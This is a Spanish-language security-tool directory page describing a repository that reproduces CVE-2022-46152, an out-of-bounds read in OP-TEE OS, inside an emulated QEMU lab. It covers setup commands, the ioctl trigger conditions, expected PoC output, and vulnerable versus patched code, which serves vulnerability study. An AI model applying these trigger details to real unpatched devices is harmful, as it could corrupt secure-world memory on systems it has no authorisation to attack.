Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-46152 — CVE-2022-46152: Validación incorrecta del índice de matriz en la función `cleanup_shm_refs'. | Kitploit
Herramientas/GitHubGitHub/0xbbdd/cve-2022-46152
Seguridad de Sistemas EmbebidosAnálisis de VulnerabilidadesExplotaciónFuzzingCTFAprendizaje y EducaciónExplotación de BinariosLabs y Práctica
GitHub0xbbdd/cve-2022-46152

CVE-2022-46152

CVE-2022-46152: Validación incorrecta del índice de matriz en la función `cleanup_shm_refs'.

Ver Repositorio
13hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-46152

OP-TEE OS cleanup_shm_refs() Lectura Fuera de Límites — Entorno de Reproducción

Referencia: https://optee.readthedocs.io/en/latest/building/devices/qemu.html#qemu-v8
Aviso de Seguridad: https://github.com/OP-TEE/optee_os/security/advisories/GHSA-65w8-6mrg-52g7


Resumen de la Vulnerabilidad

CampoDetalles
Vulnerabilidadcleanup_shm_refs() no valida num_params (teóricamente hasta 127; limitado a 31 en la práctica por el ioctl del TEE de Linux TEE_MAX_ARG_SIZE=1024), mientras que saved_attr[] solo tiene 4 elementos
Versiones AfectadasOP-TEE OS < 3.19.0
Condición de DisparoEl Mundo Normal envía una solicitud INVOKE con num_params=31 mediante ioctl directo (evitando el límite de 4 parámetros de libteec)
ImpactoLectura fuera de límites de datos de la pila del mundo seguro; si un valor residual de la pila coincide con un tipo TMEM, se desencadena un Use-After-Free
Correccióncleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), ...) (commit 728616b)

Estructura de Directorios

CVE-2022-46152/
├── README.md                           # Este archivo (Inglés)
├── README.zh.md                        # Versión en chino
├── setup.sh                            # Configuración del entorno con un solo comando
├── run_qemu.sh                         # Lanzar QEMU
├── exploit.sh                          # Script de reproducción automatizada/manual
├── cve-2022-46152-oob-emsg.patch       # Parche de depuración de OP-TEE OS (entry_std.c OOB EMSG)
├── qemu-pflash-suppress-unimp-log.patch # Parche de QEMU (suprimir logs ruidosos de pflash_write)
├── poc/
│   ├── cve_2022_46152.c               # Código fuente del PoC (ioctl directo evadiendo libteec)
│   └── Makefile                       # Makefile de compilación cruzada
├── docs/
│   └── vulnerability_analysis.md      # Análisis técnico detallado de la vulnerabilidad
└── optee/                             # Entorno OP-TEE (creado por setup.sh)
    ├── optee_os/                      # OP-TEE OS 3.18.0 (versión vulnerable)
    ├── build/                         # Sistema de compilación (qemu_v8.mk)
    ├── linux/                         # Kernel Linux
    ├── buildroot/                     # Buildroot rootfs
    ├── trusted-firmware-a/            # TF-A v2.6
    ├── qemu/                          # QEMU v7.0.0 (fuente)
    └── out/bin/                       # Artefactos de compilación
        ├── bl1.bin                    # TF-A BL1
        ├── Image                      # Imagen del kernel Linux
        └── rootfs.cpio.gz             # rootfs que contiene el PoC

Inicio Rápido

1. Requisitos Previos

# Ubuntu/Debian
sudo apt-get install -y \
    repo git make python3 \
    aarch64-linux-gnu-gcc \
    device-tree-compiler \
    libglib2.0-dev libpixman-1-dev \
    netcat-openbsd expect

# Verificar
aarch64-linux-gnu-gcc --version
repo --version

2. Inicializar repo (siguiendo la documentación oficial)

cd CVE-2022-46152
mkdir -p optee
cd optee
repo init -u https://github.com/OP-TEE/manifest.git -m qemu_v8.xml -b 3.18.0
cd ..

Nota: Usar la etiqueta 3.18.0. Esta versión contiene la vulnerabilidad CVE-2022-46152 y aún no tiene aplicada la corrección.

3. Configuración y compilación con un solo comando (30–60 minutos)

./setup.sh

Este script:

  • Ejecuta repo sync para obtener todo el código fuente
  • Configura el toolchain (omite la descarga si optee/toolchains/ ya existe, de lo contrario la descarga automáticamente)
  • Ejecuta make all para compilar TF-A, OP-TEE OS 3.18.0, Linux y Buildroot
  • Compila el PoC de forma cruzada y lo inyecta en el rootfs

4. Iniciar el entorno QEMU

# Abrir tres terminales:

# Terminal 1 — Iniciar QEMU:
./run_qemu.sh --no-gdb

# Terminal 2 — Consola del Mundo Normal (ejecutar después de que run_qemu.sh haya iniciado):
python3 optee/build/soc_term.py 54320

# Terminal 3 — Mundo Seguro (logs de OP-TEE, ejecutar después de que run_qemu.sh haya iniciado):
python3 optee/build/soc_term.py 54321

Nota: run_qemu.sh inicia internamente soc_term.py en modo servidor escuchando en 54320/54321, con QEMU conectándose como cliente. Los comandos anteriores son ejemplos para conectarse a una instancia en ejecución y generalmente no necesitan ejecutarse manualmente.

5. Reproducir la vulnerabilidad

# En la terminal del Mundo Normal (54320), después de que aparezca el prompt de inicio de sesión:
(none) login: root

# Ejecutar el PoC
/root/cve_2022_46152

Salida Esperada

Mundo Normal (consola Linux)

=== CVE-2022-46152 PoC Exploit ===
OP-TEE cleanup_shm_refs() Out-of-Bounds Read
Affected: OP-TEE OS < 3.19.0

[+] Opened /dev/tee0
[*] Opening session to Hello World TA...
[+] Session opened: id=2
[*] Triggering vulnerability: invoking with num_params=31
[*] saved_attr[] has only 4 slots -> reading 27 extra stack words OOB
[*] Buffer size: 1016 bytes (TEE_MAX_ARG_SIZE limit: 1024)
[+] ioctl returned: ret=0xffff0006 origin=0x3

[+] VULNERABILITY TRIGGERED!
[+] TEE returned TEE_ERROR_BAD_PARAMETERS (0xFFFF0006)
[+] entry_invoke_command() rejected num_params=31,
[+] but cleanup_shm_refs(31, saved_attr[4], ...) ran OOB!
[*] Check the Secure World UART (port 54321) for crash details.

[*] Done. Check secure world UART output for OOB/abort evidence.

Nota: TEE_MAX_ARG_SIZE=1024 limita un solo ioctl a un máximo de 31 parámetros (libteec tiene un límite de 4). Aun así, num_params=31 es suficiente para desencadenar la lectura fuera de límites (leyendo saved_attr[4..30], 27 elementos fuera de límites).

Mundo Seguro (log de OP-TEE TEE Core)

I/TC: OP-TEE version: 3.18.0 (...)
...
I/TA: Hello World!
E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB! cleanup_shm_refs num_params=31 > TEE_NUM_PARAMS=4
D/TC:? 0 tee_ta_close_session:511 csess ... id 2
I/TA: Goodbye!

La línea de advertencia E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB! es un log explícito agregado a entry_std.c mediante el parche cve-2022-46152-oob-emsg.patch para confirmar la ruta de disparo de la vulnerabilidad. cleanup_shm_refs lee 27 elementos adicionales fuera de límites desde la pila; si algún valor residual de la pila coincide con un tipo TMEM, se puede desencadenar un mobj_put() Use-After-Free.


Código Vulnerable vs. Corregido

Versión vulnerable (3.18.0)

/* core/tee/entry_std.c */
static TEE_Result entry_invoke_command(struct optee_msg_arg *arg)
{
    uint32_t saved_attr[TEE_NUM_PARAMS];   /* ¡solo 4 ranuras! */
    ...
    res = copy_in_params(arg->params, arg->num_params, params, saved_attr);
    if (res != TEE_SUCCESS) {
        /* ❌ ERROR: num_params puede ser 127, lectura OOB de saved_attr[4..126] */
        cleanup_shm_refs(arg->num_params, saved_attr, arg->params);
        goto out;
    }
    ...
}

Versión corregida (3.19.0, commit 728616b)

    if (res != TEE_SUCCESS) {
        /* ✅ CORRECCIÓN: MIN(4, 127) = 4, ya no está fuera de límites */
        cleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), saved_attr, arg->params);
        goto out;
    }

Referencia Rápida de Comandos

# Configurar el entorno
./setup.sh

# Iniciar QEMU (con puerto de depuración GDB)
./run_qemu.sh

# Iniciar QEMU (sin esperar a GDB)
./run_qemu.sh --no-gdb

# Mostrar pasos de reproducción manual
./exploit.sh --manual

# Reproducción automatizada (sin terminales adicionales, salida en el shell actual)
./exploit.sh

# Conectar a la consola del Mundo Normal (después de que run_qemu.sh haya iniciado)
python3 optee/build/soc_term.py 54320

# Conectar al log del Mundo Seguro (después de que run_qemu.sh haya iniciado)
python3 optee/build/soc_term.py 54321

# Depurar OP-TEE OS con GDB
aarch64-linux-gnu-gdb optee/optee_os/out/arm/core/tee.elf
(gdb) target remote localhost:1234
(gdb) c

Descargar herramienta